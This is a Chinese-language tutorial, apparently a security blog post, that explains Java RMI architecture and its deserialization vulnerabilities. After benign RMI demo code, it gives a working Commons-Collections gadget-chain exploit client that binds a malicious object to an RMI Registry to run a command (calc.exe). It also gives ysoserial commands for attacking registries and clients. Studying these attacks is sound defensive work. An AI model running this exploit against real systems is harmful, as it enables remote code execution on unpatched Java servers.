RMI
RMI(Remote Method Invocation) 即Java 远程方法调用,RMI 用于构建分布式应用程序,类似于RPC(Remote Procedure Call Protocol)远程过程调用协议 ,RMI 实现了Java 程序之间跨JVM 的远程通信,使得一个JMV 上的对象可以调用另一个JMV 上的方法(方法在远程JVM 上执行,只是返回运行结果)。这两个JVM 可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。
RMI架构:
RMI分为三个主体部分:Client,Server,Registry。
在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册成功。
本文环境Server与Registry均在服务端上。
Registry 翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用。registry 作用就好像是,病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)的在哪个门诊室再去看病(执行远程方法)。
RMI 底层通讯采用了Stub(运行在客户端) 和Skeleton(运行在服务端) 机制,RMI 调用远程方法的大致如下:
? 整个过程会进行两次TCP 连接,第一次是让Client 获取到这个Name和对象的绑定关系 ,第二次再去连接Server 并调用远程方法。
? 第一次TCP:
-
RMI客户端 在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub) 。 -
Stub 会将Remote 对象传递给远程引用层(java.rmi.server.RemoteRef) 并创建java.rmi.server.RemoteCall(远程调用) 对象。 -
RemoteCall 序列化RMI服务名称 、Remote 对象。 -
RMI客户端 的远程引用层 传输RemoteCall 序列化后的请求信息通过Socket 连接的方式传输到RMI服务端 的远程引用层 。 -
RMI服务端 的远程引用层(sun.rmi.server.UnicastServerRef) 收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch) 。 -
Skeleton 调用RemoteCall 反序列化RMI客户端 传过来的序列化。 -
Skeleton 处理客户端请求:bind 、list 、lookup 、rebind 、unbind ,如果是lookup 则查找RMI服务名 绑定的接口对象,序列化该对象并通过RemoteCall 传输到客户端。 第二次TCP: -
RMI客户端 反序列化服务端结果,获取远程对象的引用。 -
RMI客户端 调用远程方法,RMI服务端 反射调用RMI服务实现类 的对应方法并序列化执行结果返回给客户端。 -
RMI客户端 反序列化RMI 远程方法调用结果。
详细调用过程参考:https://blog.csdn.net/qsort_/article/details/104861625
https://www.cnblogs.com/yyhuni/p/15091121.html#registryimpl_stubbind
建议在看第二部分的反序列化之前最好先调试一遍,这里不再赘述。
下面提供一个最简单的RMI demo:
Server
package RMI;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMI_Server{
public interface RMIHelloInterface extends Remote {
String hello() throws RemoteException;
}
public class RMIHelloWorld extends UnicastRemoteObject implements RMIHelloInterface{
protected RMIHelloWorld() throws RemoteException {
super();
}
public String hello() throws RemoteException {
return "Hello RMI~";
}
}
private void start() throws Exception{
LocateRegistry.createRegistry(7999);
RMIHelloWorld h = new RMIHelloWorld();
Naming.rebind("rmi://localhost:7999/hello",h);
}
public static void main(String[] args) throws Exception {
new RMI_Server().start();
}
}
Client
package RMI;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class RMI_Client {
public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
RMI_Server.RMIHelloInterface hello = (RMI_Server.RMIHelloInterface) Naming.lookup("rmi://127.0.0.1:1099/hello");
String ret = hello.hello();
System.out.println(ret);
}
}
代码中的Naming只是一个工具类,是对Registry操作的封装。
Naming.rebind("//host/objName", myObj);
Registry registry = LocateRegistry.getRegistry("host");
registry.rebind("objName", myObj);
不过Server一般都在公网的vps上,hostname和公网IP是不同的,需要在Server的hello方法的一开始加上
System.setProperty("java.rmi.server.hostname","所部属的服务器公网Ip地址");
将服务器IP的变量设置为系统全局变量—java rmi的主机名,可以让客户端连接到该服务端。
客户端程序向服务端请求一个对象的时候,返回的stub对象里面包含了服务器的hostname ,客户端的后续操作根据这个hostname来连接服务器端。在服务器中通常为内网的IP地址,VM虚拟机中若是开启DHCP则为127.0.1.1 newFQDN newHostname 都会第二次TCP请求导致无法连接到RMIServer
还得指定通讯端口(第二次TCP),防止被防火墙拦截,必须在注册端口之前调用
RMISocketFactory.setSocketFactory(new CustomerSocketFactory());
CustomerSocketFactory类:
package RMI;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.rmi.server.RMISocketFactory;
public class CustomerSocketFactory extends RMISocketFactory {
@Override
public Socket createSocket(String host, int port) throws IOException {
return new Socket(host, port);
}
@Override
public ServerSocket createServerSocket(int port) throws IOException {
if (port == 0) {
port = 7777;
}
System.out.println("rmi notify port:" + port);
return new ServerSocket(port);
}
}
这两句一定要在最前面,我一开始测试的时候把定义了远程函数的类实例化放最前面就一直报错连不上,指定通讯端口也不起效。
RMI反序列化漏洞
RMI 通信中所有的对象都是通过Java序列化(客户端序列化,服务端反序列化 )传输的,那就会有readObject操作,如果在服务端上构建一个恶意对象,这个对象经过序列化后传输到RMIServer 端,RMIServer 端在反序列化时候就会触发反序列化漏洞。
RMI反序列化漏洞的存在必须满足两个条件:
- RMI通信
- 目标服务器引用了第三方存在反序列化漏洞的jar包(如:commons-collections.jar 3.1)
测试环境还需要注意,以下版本之后已经通过JEP290机制进行修复,
- Java? SE Development Kit 8, Update 121 (JDK 8u121)
- Java? SE Development Kit 7, Update 131 (JDK 7u131)
- Java? SE Development Kit 6, Update 141 (JDK 6u141)
本文基于jdk1.7.0_80版本进行测试。
既然是反序列化漏洞,就得先去找到readObject的位置。分析RMI通讯的过程,可以发现出现序列化操作主要出现在与Registry 通讯的过程:即bind / lookup 操作
去动态调试调用过程的话,可以看到Server的createRegistry 方法获得的是RegistryImpl 对象,而getRegistry 方法获得的是RegistryImpl_Stub 对象。
且不论是Server上常用的bind/rebind 方法或是Client上常用的lookup 方法,最后都会由服务端 上的RegistryImpl_Skel#dispatch 方法去处理不同对象所对应的方法,且五种方法都是可在Server/Client上调用的。
var3是一个int类型的数组,分别对应了
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
可以看见bind/rebind当中均存在.readObject() ,其中的var8 就是我们RMIExploit 传入的恶意Remote 的序列化对象。
lookup也有.readObject()
这时候再回过头来看看RMI交互过程:
Client 在与Registry 通信的时候bind&rebind / lookup 都可被调用触发readObject() ,那么就可以攻击Registry(服务端)了;另外除了unbind&rebind 都会返回序列化形式的数据,到了客户端就得反序列化,如果伪造一个恶意的Registry 服务器让Client 连接,就能实现对Client 的攻击。
攻击服务端:
bind&rebind
修改Client的代码为:
package RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;
public class RMI_Client {
public static void main(String[] args) throws Exception {
try {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map ouputMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
Map tmpMap = new HashMap();
tmpMap.put("pwn", badAttributeValueExpException);
Constructor<?> ctor = null;
ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap);
Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMI_Client.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler));
Naming.rebind("rmi://localhost:7999/hello",remote);
} catch (Exception e) {
e.printStackTrace();
}
}
}
实际上是将gadget使用代理Remote类的方式然后通过bind往Registry发
这一攻击方法在ysoserial中已有实现,在项目中配置一个CommonsCollections3.1,然后启动一个RMI Registry,接下来运行:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections7 "calc.exe"
lookup
通过伪造连接请求进行利用,修改lookup方法代码使其可以传入对象:https://xz.aliyun.com/t/9053#toc-0
攻击客户端:
使用ysoserial的JRMPListener伪造恶意的RMI Registry:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7999 CommonsCollections1 'calc.exe'
此外还有调用远程方法传参Object,远程方法返回结果为Object等情况,还有JEP290的绕过,下面这些文章已经做了详细的梳理:
https://xz.aliyun.com/t/9053
https://www.anquanke.com/post/id/263726
https://paper.seebug.org/1194
总结
RMI数据传输都是基于序列化数据传输,所以RMI Registry、Client、Server都能相互攻击,JEP290的绕过主要利用RMI过滤器的白名单类中的类来bypass实现反序列化。另外低版本版本还存在利用codebase进行攻击。
|